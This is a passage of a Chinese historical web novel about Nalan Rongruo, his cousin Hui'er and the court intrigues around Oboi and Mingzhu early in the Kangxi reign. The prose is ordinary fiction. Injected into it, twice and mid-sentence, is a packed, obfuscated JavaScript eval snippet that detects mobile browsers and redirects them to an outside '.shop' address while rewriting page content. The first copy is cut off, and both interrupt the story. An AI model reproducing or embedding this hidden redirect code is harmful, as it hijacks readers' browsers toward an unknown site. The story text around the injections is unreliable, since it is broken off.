“将我嫁给纳兰容若不一定能让鳌拜大人得到明珠的支持,但是善待纳兰容若却没准能让他在日后救鳌拜大人你一命。云辞言尽于此,请鳌拜大人斟酌。” “云辞,你是个聪慧的女子。”鳌拜对自己堂侄女一赞,“利益关系也好、后赐姻缘也罢,纳兰家要是没有娶到你,是他们的损失。” “请鳌拜大人在禹画师面前收回这句话。” “本官不是在乱下定论,而是看透了一点:也许你不是纳兰容若娶的第一个女人,但总有一天,在变幻莫测的时局的无力扭转下,你会成为他的女人。” “云辞,从来都不愿苦了自己,也苦了别人。请鳌拜大人不要再说了。” “你好好想想吧,想想本官说的话有没有道理。” * 鳌拜走后,云辞跟禹之鼎来到了瓜尔佳府邸侧面的一棵大树下。 “女儿家的婚事,总是跟政治利益联系在一起。”禹之鼎遗憾道,“相反你看我,就跟是个孤儿似的,什么时候娶妻、该娶谁,没有谁会在意、也没有谁会刻意安排,当真是渺小。” 云辞劝道:“禹画师,绘画是需要积累和时间沉淀的事,跟诗人词人的‘一语惊天下’大不相同。所以你别把自己的才能小看了去,以为自己的人身大事没法被父母或时局左右,就是学识和名气不够。” “云辞,汉人有一句话,说的是:家在才能人在,人在才长久。鳌拜是瓜尔佳氏的族人,他一倒和他一死,前后区别可就大了。所以咱俩要一起想想办法才是,不能让皇帝把鳌拜和瓜尔佳氏一族铲除的太彻底。” 听到“咱俩”二字,云辞心里掠过一股暖流。 禹之鼎对她的的心意和专情,由此可见一斑。 禹之鼎真挚道:“既要让皇帝有面子、有成果地收回权力,又要让鳌拜倒而不死,还要让我一家不受到牵连,虽难,但我愿意与你一起迎难而上。” 尽管云辞在心里有自己的筹谋,不会置阿玛朴尔普和家里上下百口人的性命于不顾,可她还是乐观地跟心上人说了句笑: “我可想好了一个下策,万一你我都受不了朝中的权力斗争之险和党阀分立之实,最好的抽身而退之法:就是买两张船票,一并到西洋去度过以后的人生。” “啊?”禹之鼎不忘大义,“你我要是干干脆脆地走了,皇上和容若,你阿玛和你恩师南怀仁怎么办?” 云辞露出一笑,“我知禹画师你不是个自私之人,所以我也会做一个识时局和能破局的女子,我跟你,永远在一块。” “禹画师你该回官舍去了,不是有门禁时间吗?错过了,你就得翻墙,你翻墙的功夫要是半调子,被守卫的官兵们发现了,还不得领罚?” 禹之鼎听笑了:“哪有你这样给我出主意的?” 云辞认真道:“你要是会轻功,倒也是不必翻墙了。” “这不还赶得上吗?” 禹之鼎说完自己,又想到了别人: “哦对了,不知道容若回家没有?我听曹寅说:容若连着几天去林子,等一个不一定能等到的人,也不晓得他是怎么回事。” 云辞建议:“禹画师你要不绕个道,去纳兰家看看?” 8. 第8章 明府。 听见侍女来传“纳兰公子回来了”的消息之后,惠儿悬着的一颗心终于放了下来。 因为担心伯父明珠会责备表兄几句,所以她连忙就往伯父所在的地方去了。 “阿玛从来没想过你会不打招呼晚归。”明珠尽可能让自己的口气不那么严厉,“幸好是皇上没有忽然召你进宫,不然你叫阿玛怎么回话?怎么交待?” 容若道:“儿贪看落雪,就在林子里坐久了,忘却了时间。” “落雪哪里不能看?”明珠反问,“你要是爱看,阿玛明日就叫人在府中新造了一个亭子出来,专门供你消遣。” “阿玛不可,府上忽然兴工事,朝中难免会出揣测之音。更何况,儿看雪的兴致,也不在于亭子上。” “你倒是能说出几番道理来。”明珠叫了容若起身,招了招手,“坐到阿玛身边来。” “你老实说,今夜你去了哪里?跟谁一起过夜?”明珠半皱眉,“你向来知分寸,不会做不合规矩的事情,到底是怎么了?莫不是被谁威胁了,是索额图的索党之人吗?” “不是,儿当真只是在府外看雪。” 言多必失,所以容若没有细道。 惠儿上前解围道: “伯父,惠儿见表兄一身冰凉,脸色和指尖微白,应是在林间冻久了的缘故,没有见谎。表兄心思细腻,最易融情入景贪看忘时,难免不觉天色已晚,回来的迟一些也是有的。不如许了表兄回房,让他先暖暖身子吧?” 明珠看着容若,的确是一幅受冻后坚忍模样,不由得觉得惠儿的话有道理,就对她嘱咐道: “我会吩咐下去,叫下人们烧好沐浴的热水,熬好祛寒的姜枣茶,到时候惠儿你在容若身边陪着,叫他喝了姜枣茶后再就寝。” 惠儿细心道:“惠儿明白。” 从明珠的房间出来,惠儿扶着容若往房间走。 容若松下绷紧的一根弦,道:“惹阿玛和惠儿你担心,是我不好。此刻我的确是冷,只怕是再在阿玛身边多呆一刻,身子就熬不住了。” “表兄再忍一忍,马上就到房间了。”惠儿加快了步子,“表兄的寒症需要发汗才能解,伯父所说的泡澡之法无用。所以惠儿会叫人多拿些被褥和暖炭过来,给表兄催汗。” “我不怪阿玛不知,是我自己有意瞒着不叫他知。”容若露出苦笑,“我会先饮姜枣茶,再拥被发汗。” “今晚惠儿会一直陪着表兄。” “有惠儿在,我很安心。” 容若没对惠儿说谢,因为他知道,惠儿需要的并不是一句谢,而是他的病尽快好起来、彻底好起来。 他珍惜像惠儿这样的女子,可是又深知在这个冬天结束之后,二人就要离别:她,会成为玄烨的妃子;自己,仍旧是玄烨的臣子。 * 几日后,曹寅和禹之鼎一并到明府看望容若。 煮茗闻香,共赏瓶中花,莫论窗外雪纷纷。 锦衾生暖,傍得全身温,同聚一室话津津。 容若问:“曹寅,我写的洋笺,皇上亲眼看过没有?” 曹寅如实道:“我原本是想拿给皇上看的,可是我一想,不对呀!万一皇上把你写的‘君臣之情’硬说成是‘男女之情’,又重提给你指婚之事,那可怎么好?” 容若神情一颤:“啊?” 曹寅吃了一口金乳酥,道:“我又想着纳兰你的作品也不能浪费,就带到字画店去送给周老板珍藏了。” 容若故意问:“你可知道那个洋笺到了谁手里?” 曹寅一怔,停下吃东西的动作,下意识地反应:“周老板把你给卖了?” “周老板卖纳兰做什么?”禹之鼎忍不住笑。 曹寅用丝帕一擦手,然后拍了拍脸颊让自己清醒,道:“我是说,纳兰你怎么猜到洋笺不在周老板那里了?” “巧合。”容若相信天意,“洋笺被那位汉人女子拿去了,就是曹寅你第一次带我去字画店时,碰见的那个女子。” 禹之鼎问:“那后来呢?” “后来我跟她在树林里见面,一起踩雪听雪,坐在温泉边看雪。” 容若说得简单,却回味无穷。 “实不相瞒,同一天晚上,我约见云辞格格之后,在她家门口碰见了鳌拜大人。分别之后,我没有直接回官舍,而是悄悄前去明府探容若你的情况,结果我爬到了树上,见你被你表妹扶着回房,就知道你定是见到了相见的人,才会被冻的身子不适,没敢前去打扰你休息。” “禹兄你会爬树?” 尽管觉得自己弄错了重点,容若还是这么问。 “是啊,我生在田舍之中,打小就是个什么活都干、什么书都看、什么技能都懂的人。” “以后跟洋人打交道……也会?” “会。”禹之鼎悄声道,“我在偷看皇上书房里的洋书,对照着译文看。” 曹寅的一番话,把那二人拉回了现实: “纳兰,禹兄,你俩再这么下去可不行啊!一个是喜欢上了八旗亲贵当中最离谱的云辞格格,另一个是对来路不明的民间女子抱有好感,还是我曹寅最理智,至今未陷入情关。” 禹之鼎问:“云辞哪儿离谱了?” “这离谱不是我定义的,而是你要看形势啊!”曹寅郑重其事道,“她身份特殊,是鳌拜大人的堂侄女,没错吧?她对西洋文化不止是喜欢,而是崇尚,日后能否为保守势力容得下,还是个未知数。何况……她跟纳兰,唉。” 曹寅说不下去,皇上虽然没去孝庄太后面前提那桩姻缘,但是那日如意馆之中发生的事情,还是传到了孝庄太后耳中,她的意思是:观望,除非能给纳兰公子挑个比云辞更好的女子。 禹之鼎坚信道:“云辞跟纳兰没什么,即便是有,也是别人的牵强附会。” 容若应了一声:“嗯。” “我可是把你俩当兄弟才说这些的。”曹寅凑近到容若和禹之鼎面前,“感情之事不是朝堂之事,前者细水长流剪不断理还乱,后者当机立断一斩分黑白。” “那就谈论朝堂之事好了。”容若道,“曹寅你跟皇上走得近,皇上最近有什么动作?” 曹寅道:“孝庄太后想借助你阿玛的力量来训练精干的八旗子弟,好暗中布局一切以相助皇上擒贼。可是皇上偏要自己做安排,想靠自己一个人的本事把鳌拜拿下,为此还跟孝庄太后闹了矛盾,几日未去慈宁宫请安了。” 容若思量道:“这还真不能劝。” “不能劝吗?”曹寅问,“还是不好劝?” “皇上急着立功来证明自己的能耐,所以谁劝他听皇祖母的话、就是谁踩在了他的火药口上。得想个法子,让皇上不那么执拗才行。” “皇上其实想见你。”曹寅对容若道,“只是因为‘画作题字’一事,他搁不下自己的脸面来向你承认不是,才把你撂在一边,不叫你入宫陪伴。” “这我都知道,恰好我也需要这么一段时间来养身子,皇上不见我就不见吧。” 容若饮了半碗燕窝羹,道: “曹寅,孝庄太后那头还要劳你多去走动,你代我跟老祖宗说:‘纳兰向着太皇太后,也甘愿为皇上效力。阿玛没有懈怠肩负的任务,擒贼之事,计日程功。’皇上任性气盛,我们三个做近臣的,不能明着献策为皇上分忧、让皇上误以为自己的才干被我们小看,但是我们仨总得让孝庄太后少操心和放心吧?” 容若露出一个“事情会往好的方向发展”的微笑,继续道: “所以为今之计,是先让孝庄太后舒心,再让皇上静心。等皇上自己静心想明白‘擒拿鳌拜’一事,光靠他自己办不成的时候,他就懂得皇祖母的用心良苦了。” 曹寅不解:“纳兰,皇上如此冷落你、较劲你,你为什么还愿意为他好?” 容若简约道:“为国,尽忠;为君,尽责;为父,尽孝。” “你——”曹寅忍不住问,“就不为自己考虑吗?” 容若轻道:“我很好,真的很好。” 茶饮尽,空盏留余香,浅迹出诗情。 食吃罢,盘碗空且净,淡香牵人事。 容若送两位好友离府,才站在家门外跟他俩挥手道别,就听见了从身后传来的脚步声。 回头,果然是明珠。 见管家牵了一匹强硕的马过来,容若就猜到阿玛这一趟赶着时效。 他向明珠行礼道:“儿给阿玛请安,盼阿玛此程入宫,一路顺风。” 明珠收住步子,免了儿子的礼,道:“你怎知我是入宫?而不是去别处。” 容若道:“满人有打马入宫的传统,要么是救急救驾,要么是商议机密要事,否则不会如此匆匆。儿想是后者,阿玛前去商议之事,应当是与除去鳌拜或是提防索党之人有关。” 明珠一拍儿子的后背,惋惜道:“你说的无错,要不是皇上对你的态度模棱两可,阿玛现在就该让你一并同行进宫,让那些大臣知道我明珠之子——” 容若并不突兀打断,而是从管家手中牵过马,把缰绳放在明珠手上,给明珠壮行道:“儿恭送阿玛。” 明珠一把跨上马背,冲儿子一笑。 他心想: 容若谨慎且有自知之明,这是好事。 我想说的话,即便是十个字里面只说一个字,他也能够准确无误地知道我的意思。而他不让我说全的话,定是自己心里有了分寸,权衡利弊之后才巧妙地阻止了我说出口。 “驾——” 明珠一抽马背,在儿子面前飞驰而去。 * 是夜,深宫之中。 玄烨与赫舍里皇后同床共枕。 见玄烨辗转反侧,赫舍里柔声问:“皇上睡不着,可是有心事?” 玄烨看着皇后的素颜,不瞒她道:“朕的臣子,资历老的高高在上目无法纪,年纪轻的谨小慎微不敢直言见解,就连身侧的……也看上去个个都比朕强、是在让着朕。朕这个皇帝,当的真是憋屈!” 赫舍里温婉道:“皇上是一国之君,不可光凭自己的想法来对臣子下定义。君明自然臣贤。信朝臣不如信近臣,近臣有近臣的好,皇上您不肯承认罢了。” “好?朕看不出那三个人哪里好。” 玄烨换成了仰躺姿态,双手枕在脑后。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“儿啊,阿玛听说索额图私下教导赫舍里皇后向皇帝吹耳边风,为的不是大清而是一己私利。” 容若一下子从明珠的口吻中嗅出了端倪,试探道:“所以阿玛才决定,要让惠儿在选秀之前——学会如何爱君、如何伴君、如何成为君主察而不觉的后宫谋士?” “你懂阿玛的意思,阿玛便不必多说旁的话。” 明珠淡笑,容若的聪慧和敏锐,总能让自己省心和省口舌。 明珠将此称为:父子之间的心意互通,并且在心中引以为傲—— 放眼整个大清朝,哪里能够找出第二对这样的父子? “后妃不可干政,是祖训。” 容若平静说出的这句话,犹如一盆冷水浇在明珠头上。 “糊涂!” 明珠小训了儿子一声,那意思是打破祖训的人是索额图,而不是自己。 自己不过是晚了一步罢了,所幸还来得及强做准备。 等到心中的气过了,明珠才解释道: “等到索额图一手遮天,可就什么都晚了。所谓派阀之争,争可不仅仅是朝堂之上的一亩三分地,更是后宫的话语权和雨露君恩啊!” 容若沉默不语,心想: 阿玛,儿好不容易才让惠儿放下对儿的痴情,将心往皇上身上靠,如今你却打算让惠儿去争—— 对她而言没好处、对纳兰一族而言旦夕祸福、因果难定的东西。 你想过她的感受吗?她真的甘愿做貂蝉吗? 来日她在后宫中的对手,又何止是索额图的侄女赫舍里皇后一人? 见儿子不说话,明珠只好干喝茶。 等到喝完了、也喝够了,他用深邃的目光看着容若。 他那份眼神,带着父爱也带着施压,让容若觉得内心很是沉重、甚至隐隐作痛。 容若终于打破僵局:“难道阿玛的意思,是要儿去说服惠儿?” “怎么,”明珠抛下了逼着儿子做选择的两问,“你是不肯?还是做不到?” 容若一字一句道:“儿只是不愿。” “容若,你记着:皇宫之中,只有交易没有真情。国家大事是交易,后宫争宠也是交易,包括是你自身,也等同于是一块筹码你知道吗?” “知道,儿从成为皇上的陪臣的第一天起,就知道。” “阿玛不想强求你做任何事情,但你需好好掂量我们纳兰氏一族的前途和根基。纳兰氏一族的安稳与强大,不是必须依靠女子,而是:女子有谋、家族不愁啊!” “儿希望自己这个谋士,谋的是惠儿的终身幸福,而非她在后宫的步步为营。” 明珠喜出望外:“这么说,你是答应阿玛了?” “儿要兼顾的是:阿玛在朝中的地位和惠儿在宫中的安危;儿要挑起的是:一生的陪臣之责和保全纳兰氏一族的重任。试问儿还有得选吗?” 明珠拍了拍容若的肩膀,以示肯定。可在下一瞬间,他就收敛了脸上的笑,不发一言而走。 容若看着房中的明烛,心中滋味万千。 9. 第9章 天亮以后,雪要小了许多。 纳兰容若一夜未眠,仿佛时光就这么耗着,在不知不觉间听见了前来伺候更衣和梳洗的下人的敲门声。 侍女看见纳兰衣装如昨,神情憔悴了几分,心疼道:“公子您……” “哦,你来了。”容若反应过来,轻应了一声。 他指向已经燃尽的烛台叫侍女撤去,等侍女捧了温热的巾帕过来,他叮嘱道:“推开书房门后,你看见的我的模样,别跟阿玛说。” 侍女小心翼翼地把巾帕递到自家公子手里,应了一声:“是。” 容若用巾帕擦了三次脸: 第一次,他想让自己的冰凉的脸颊变得温暖;第二次,他想让自己凌乱的心绪变得平静;第三次,他想让自己变得清醒、清醒地面对接下来要遇见的人和事。 随后,他去内间换了一身衣服,就赶在早膳之前去向阿玛和额娘请了安。 明珠的态度一如寻常,对容若也回问了几句关心的话。 额娘则是留意到了容若眼神中的倦乏,吩咐了下人将早膳送到他房里去,让他不必陪着一家子吃饭了。 喝下一小碗粥之后,容若眯着眼睛小睡了一会儿。 梦中倒是没有出现祖王父多尔衮,反倒是看到了一幅大清入关时的画卷,战火纷飞、炮火轰隆、前仆后继,好像所有可以描绘战争的词语都不够用一般。 接着梦境中画卷收合了起来,画作一缕青烟不见。 切换而来的场景,是: 一棵高耸入云的松树底下,有两人在指点江山。以棋盘为界,左边的人叫做宋应星,右边的人叫做张岱,二人旁侧,还有一个小女孩。 容若觉得小女孩似曾相识,好似宛卿年幼时的模样,但又摇了摇头,不可能是她。 张岱问:“宋公可知为何多尔衮要迁都北京?” 宋应星不屑道:“其一,借着辅政为公的理由,私下控制幼帝;其二,自以为可以得天下人信服,龙脉在北京而不在盛京,做个傀儡皇帝背后的掌握大权的王;其三,占据北京相当于控制中原,实现了满清问鼎中原之愿,他想要证明自己比皇太极厉害。” 张岱道:“素闻宋公通晓周易算卜之术,不知可否为多尔衮的将来占上一卦?” 宋应星将大明特有的占卜道具拿出,细细盘算了一番之后,道: “多尔衮罪有应得却死不瞑目!其兄长阿济格之女嫁纳兰明珠,生一子纳兰容若,可惜堪比子安,天妒早亡。” “君、臣、家、国,重如磐石,不可谓是情殇,公子自是澄澈清明,困于情而非陷于情。本就是个遗世独立之人,何须再留世有所牵挂?” 容若从梦中惊醒。 额头上冷汗不止,却见身侧有个女子在为自己擦拭额头上的汗珠,已经换了几条手绢,正是表妹惠儿。 “像是个恶梦,又不全是。”容若坐了起来,“冷汗过了,我就把这个梦忘了。” 惠儿原本不想叫表兄伤心,但还是问起了梦境的具体。 “大抵是前朝的两位大家拿我跟王勃比,可是梦醒后我想呀,最起码我的性子不像王勃那么冲,以才比天上面我也没有王勃那么傲,王勃不通人情世故可是我不会,所以我的结局跟他肯定不同。” 容若挑了梦中的好的方面说,自身也往好的方面想。 “云破月来花弄影,心中事、眼中泪、意中人。”惠儿看着容若,“我倒是觉得表兄应当跟最长寿的词人张先‘张三中’比。” “借惠儿吉言。” 容若下榻,与表妹一起到府中花园小坐。 * 花园之中,种植着一棵耐寒的玉兰树。 容若觉得白玉兰要在月色下才好看,他写过这样一首词来传达心情: 瓣似月色拂袖,香如开匣暗来。 水光庭中,哪寻玉瓶接仙露?一壶芳菲,觉来似春。 此刻,容若和惠儿正是坐在玉兰树下,只是天色晴朗,并非月夜。 “阿玛说白玉兰不如粉玉兰好看,要不换栽别的品种。我说不必,白玉兰有白玉兰的好,纯粹无垢,形色端正,常的化生。阿玛就依了我的意思,让这棵白玉兰树一直陪伴。” “表兄亦是是喜欢水仙,水仙绽放,朵瓣洁白,与玉兰花相似。” “无华无破,清新养目;以身傍花,见者欢喜。” 说罢这些,容若对惠儿聊起了正事。 “江山社稷,非皇上一个人可以左右。这里面除了国计民生和所得利益,也牵系着氏族的荣耀、气概和信念。惠儿你是个女子,你愿意做一个时常惦念着纳兰氏一族的沉浮、并且为皇上奉献全部之人吗?” “表兄……” “惠儿,下面为要说的话,请你以‘皇上的妃子‘的身份来听。” “阿玛现在官阶是正一品,身为与索额图平起平坐的大臣,二人在朝中实力相当。皇上的后宫之中,由索额图的侄女赫舍里皇后执掌凤印,少了纳兰氏出身的女子,就相当于是珠玉缺了一角。阿玛认为,春来的秀女大选正是让后宫再添宠妃的好契机。” 宠妃。惠儿把这个词在心中默念了一遍。 表兄的斟酌用词太恰当了,以至于她可以不差毫厘地理解他的意思: 别的秀女被选中,都可以一概而称为“新人”。 而“宠妃”一词,则是把“纳兰惠儿”将要背负的纳兰氏一族的——不可回避性和步步为营性,都传递的清清楚楚,无需再赘一词。 “阿玛和索额图都是深谙皇上心思的人,为了支持皇上擒拿鳌拜,二人必定会装出齐心合力为君的样子来,以表大义。一旦皇上事成、握权亲政,明党和索党定会斗争如前,有过之而无不及。” “前朝不安,后宫也未必能安,惠儿,到时候你要记着:你是在做着只有你才能做到的事,该争到手的要争,与己无关看似无需争之事也要争,纳兰氏出身的妃子,不可平庸无奇、不可乖驯任欺。” “惠儿明白伯父的意思了。” “幸好。你没有说‘惠儿记下表兄的话了’。” “惠儿都知道,知道表兄你是打着心里为惠儿好的,方才的那些话,全是伯父的意思,是伯父自己没法对惠儿说出口、却苛令表兄你来对惠儿说的。” “之前我一直觉得心里堵着一块石头,喘不过气来。现在,我觉得好多了。” “让表兄彻夜独坐,一心想着如何说如何劝……是惠儿的错。” “惠儿你没错,你人如名字,聪慧玲珑,是个不可多得好女子。” 容若起身摘了一朵玉兰花,放在惠儿手里。 他从小亭台的一侧拿出不知什么时候准备好了的笔墨,写道: 风鬟雨鬓,偏是来无准。 倦倚玉兰看月晕,容易语低香近。 软风吹遍窗纱,心期便隔天涯。 从此伤春伤别,黄昏只对梨花。 【注1】 惠儿将那朵带梗的玉兰花别再衣襟边,看着坐在石桌前刚刚写完词的容若。 她似乎曾未从这个角度看过容若,一个他坐着、她站着的的角度,去看他的侧脸和眼角温润的眸光。 容若握笔的姿势、写字的神态、词成的一瞬间的欣喜、自读作品时的风雅,统统惠儿都喜欢。 而最珍贵的,莫过于是自己和容若一并融词中,成为了词中的一轮明月、一朵素花、一缕清风、一卷窗纱…… 惠儿小心翼翼地珍惜着,珍惜着跟容若相关的一切。 * 明珠家的午膳,菜肴有着常人难以想象的精致。 除了做法多样、摆盘悦目的肉食之外,还有一半是恒例为容若备着的半素食,像是:笋蕨馅儿的馄饨、斋烧鹅、东坡素方、纯南瓜羹、羊肚菌鸡丝汤。 “惠儿。”明珠问她,“今日容若都跟你聊了什么?” “回伯父,惠儿从表兄口中听得:皇上纳妃不分满蒙汉,所以他要教惠儿学会满蒙汉三语;为妃要有自保之力,所以他要教惠儿骑马射箭;为妃要言之有度,所以他要教惠儿言必行行必果;为妃亦要避免自恃,所以他要教惠儿脱颖而出之计。” 明珠面带满意之色,再问:“还有吗?” 惠儿跟容若汇合了一下眼神,见容若一点头,她继续道: “表兄让惠儿明白了嫁给皇上的责任,惠儿会爱上皇上、也会让自己被皇上爱上。最重要的,是惠儿会时刻牢记着自己是纳兰氏出身的女子,让纳兰氏一族万安,让伯父在朝中、在家中、在内宫都稳操胜券。” “好!” 明珠肯定地叫了一声。 容若本不情愿,却还是在额娘的眼神的暗示下,执杯对明珠道:“儿敬阿玛一杯。” 惠儿也紧跟在后,执杯对明珠相敬。 “好,好啊……容若,惠儿,好啊!” 明珠举杯向着这对表兄妹,然后一口饮尽了杯中酒。 用罢午膳。 明珠叫了夫人带惠儿先走,把容若留了下来。 “今儿早上阿玛就看出来了,你强打着精神至今。”明珠对儿子既心疼又无奈,“可是被阿玛伤到了?” 容若淡淡道:“斯人独憔悴,儿自找的,无关阿玛。” “你就爱瞒着。等到午后,阿玛就叫了太医到府上来瞧你。” 明珠关心完儿子,就用眼神吩咐了管家去办事。 “儿没事。” “太医瞧你的时候,阿玛也会一并陪着。容若,你别硬撑。” “儿想问阿玛,天生之病如何能好?” “我明珠下令要太医治好的病,他们就算提着脑袋、也得想出一个根治无误的万全之法来!” “那儿就等着太医来。” “阿玛送你回房。” 明珠的这份关心,来的太快太突然,以至于容若分的不太清楚: 阿玛到底是真的在意我的寒症?还是因为这一整个上午,我在玉兰树之下、做成了一件符合阿玛的期待的事,他才对我这般好? 以前我生病憔悴,阿玛请的都是外头的郎中,为什么这回他要去请宫里的太医?想让我被皇上惦记,还是被慈宁宫的老祖宗惦记?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13129596|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> * 翌日,朝堂之上。 少年天子正襟危坐,傲视群臣。 他铿锵有力地说出了自己将要推行的改革,却在未见收效之前,就迎来了大片大片的质疑之声。 玄烨面对站出来说了反对之词的鳌拜,怒道: “什么叫做朕没资格拿主意?朕要将内院复为内阁,复翰林院官署,触动祖宗基业了是吧?动摇大清的江山了是吧?” 鳌拜盛气凌人,跟皇帝叫板道: “皇上如今是不把太宗皇帝和世祖皇帝放在眼里了吗?内三院:国史院、秘书院、弘文院各司其职;翰林院只是文官的处心积虑之所,只会玩弄笔墨误国,不宜再设。二者如何设置,都是先帝们早就定下来了的规矩,岂是能够随便改的!” “规矩?规矩就是用来打破的!” 玄烨正色说出这句话的时候,引来了朝臣们的哄堂大笑。 唯有明珠站了出来,坚定地拥护皇帝道: “臣以为:内阁只是帮助皇上处理日常事务的行政机构,而非以新形势存在的权力机构,并不会有损包括鳌拜大人在内的八旗亲贵们的利益和权属。皇上此举,是英明之举!” “我大清入关定国以来,推行满汉一家之策,尊重汉人之中的有识之士、招揽有能力者入朝为官,乃是促进文化繁荣的一大壮举。固然八旗之中也不缺能够舞文弄墨、以笔忠君、以节效国之人,但是始终有所欠缺,缺些有益无害的修缮书册之能。 “若是能够设立专门场所,让贤臣们齐聚一堂:顾问于皇帝、论史于得失、拟策在当下、外交于广世……岂非是大清日益兴盛、皇上圣明有功之证?” 玄烨正要顺着明珠的话往下说,哪料被鳌拜抢了先。 朝堂上下,百官只听见鳌拜带着讥讽的口吻道: “明珠大人如此帮着皇上说话,可是因为纳兰公子满怀抱负得不到施展,非要叫皇上恢复翰林院来养着他这块珠玉啊?” 明珠对天子拱手道:“皇上明鉴,臣赤胆忠心,一心针砭时局时弊,绝无为容若谋青云之嫌。” 索额图倪了明珠一眼,在心中冷漠道: “纳兰公子的前途,还用得着你这个当阿玛的来铺路吗?别说是慈宁宫里的老祖宗看好他,将他安排在皇上当陪臣,就说整个大清,谁不把他当作可造之材来看?是他托了你明珠的福,还是你明珠托了他的福,明眼人都看的真真的呢!” 玄烨指着明珠道:“纳兰容若日后职位如何,看他自己参加科举后的造化。明珠你不必言,别的大臣的妄加议论你也不必听。” “是。” 明珠应道。顺带反看了鳌拜和索额图一眼。 玄烨终于逮着了训斥鳌拜的机会: “明珠所说,满人汉人同朝为臣、理应和睦共处,这点无错。可是朕却看到,鳌拜你不但不把汉人大臣放在眼里,更是在私下对他们打压欺凌、逼他们一切习惯遵循满制,使得他们敢怒不敢言。” “不止这些,鳌拜你还大肆圈地、掠夺家奴,不把汉人当人看,你还有点人性吗?朕如今欲推行新制,重组机构,复翰林院,提拔汉臣,你不但头一个站出来反对,更是带着一群满臣出来说朕的不是,简直是目中无君!” 鳌拜傲气地一扭头,压根没把皇帝的话当回事。 不止,依附于他的臣子们,也纷纷站出来反指皇帝:浮云蔽日,革新乱为。 “治理国家讲究的是承接祖宗基业,求稳为主,皇上您动则按照个人的意愿大改,只怕是越改越糟越不利于当前局面啊!” “皇上您新招倍出,但始终是少年之言,不可让臣等信服。不如暂且将目标放下,只按如常的状态来治国如何?有鳌拜大人辅佐,社稷自然稳如泰山。” “皇上您登基已经八年,急于亲政之心臣等明白,只是表露太过、推策太急、否制太快,容易本末倒置——受了汉人拿捏,而忘记祖制。所以臣等为避免皇上的一时冲动给大清招致大祸,无法附议皇上之举,还请皇上三思后行。” 正当鳌拜以为少年天子在群臣群言之下,会扛不住压力,叫大太监顾问行宣布“退朝”之时,少年天子却没有落荒而逃。 玄烨毫不畏惧。 他从宝座上站了起来,正面向鳌拜一党发起挑战: “大清的朝纲,是朕的朝纲,不是你等操纵的朝纲,朕不是个受你等摆布的皇帝!” “朕下定了决心要改制,就一定会改。朕今日当着你们的面宣布此事,不是来问你们该或是不该的,而是让你们心里有个底:大清国的皇帝不小了,凡事能够自己做主了!大清国也不是刚入关时的大清国了,是该换换面貌和再发生机了!” “众臣,都听明白没有?” 玄烨神色坚毅,身上的气度和威严叫群臣震惊,再无谁敢挑衅和反驳于他。 在明珠的一句“吾皇万岁万岁万万岁”中,群臣一并向这位少年天子跪安。 玄烨便是在这样的大逆转局面当中,昂首挺胸地退朝离殿。 【注1】纳兰性德词作《清平乐·玉兰》 10. 第10章 朝堂之外,返程出宫的路上。 积雪路滑,明珠每一步都走的格外谨慎,哪料死对头却在后面追了上来,那人的步伐之快、动作之敏捷,就跟是一只训练有素的豹子一样。 不错,后来居上者正是索额图,赫舍里皇后的叔父。 雕栏玉砌侧,索额图阴阳怪气道: “明珠大人,听说贵公子病了,一前一后,是让皇上的态度和天公不作美给害的,精神欠佳啊!” “皇上要怎么对待贵公子,他是天子,就该由他说了算;只可惜天公没有理由专门眷顾着贵公子一人、来决定这几场雪是下还是不下、下大还是下小呀!你说是不是?” 明珠冷道:“我的儿子我自己会心疼,用不着你来说三道四。” 索额图笑了几声:“皇上是把贵公子当知己看,还是当对手看,区别可就大了。你这个做阿玛的再卖力忠君,怕是也难以扭转皇上对贵公子的看法啊!” 明珠往前走了几步,回头道:“我是我,容若是容若,各司其职、共为一君,仅此而已。” “明珠,要不怎么说你老奸巨猾呢?”索额图把对手的心思一语道破,“从神情到话术,你的演技不输给任何人,你真的是忠君吗?还是为了自己的荣华富贵?” “我手握天下之最的无价珠玉,还会在乎飞黄腾达吗?” “你会,你只是在别人面前装作不会。” 索额图明白: 明珠口中“无价珠玉”,指的自然是自己的儿子。 纳兰容若在冬春之交常病,但是在其他季节身体却是好的很,因为从小练习骑射,马背上的功夫也十分了得。 关键是纳兰容若这个人,看着纤尘不染,不属于世,实际上却是有着不输给其父的政治才能。 何以见得?比如说: 索尼归天以后,辅政大臣之首的位置为鳌拜、苏克萨哈、遏必隆所争。孝庄太后借着看望皇孙的机会,去了一趟玄烨读书的地方。 当时正好纳兰容若、曹寅和禹之鼎都在,孝庄太后就赏赐了几盘点心,装作不经意地问“孩子们”的看法:“要是御膳房的人当差糊涂,使得这四盘糕点里面最好吃的一盘变了味、不得不扔掉处理,那么要如何从剩下的三盘当中选一样最合适的出来,叫皇上先尝呢?” 纳兰容若道:“臣以为,糕点都是御膳房的师傅做出来的,选了哪一样就相当于是给了哪一位师傅特别恩典,必定招来别的师傅的不满。不如不从中挑选特别的,让皇上轮流品尝,每样都吃如何?” 孝庄太后对纳兰赏识道:“皇上身边有你这样的人品和谋断的人,可见我的眼光是没出错。” 孝庄太后复对玄烨道:“打明儿起,皇上你就照着纳兰的意思来应对朝中的风雨,纳兰的意思就是皇阿奶的意思,明白了吗?” “孙儿知道了。” 玄烨的口气的确是不甘心。 变味倒掉的糕点指的是已经死去的索尼,另外三盘色香味都差不多的备选品,指的是:鳌拜、苏克萨哈和遏必隆。 逝者已逝,无论从剩下的三人当中挑了谁出来当首辅,都不是明智之举。 唯有让三人轮流当值、交替掌权辅政,才可让彼此相互牵制,不至于一家独大。这也就是纳兰容若说的:不可独挑一食,让一人独得恩典,引来其他“厨子”嫉恨的道理。 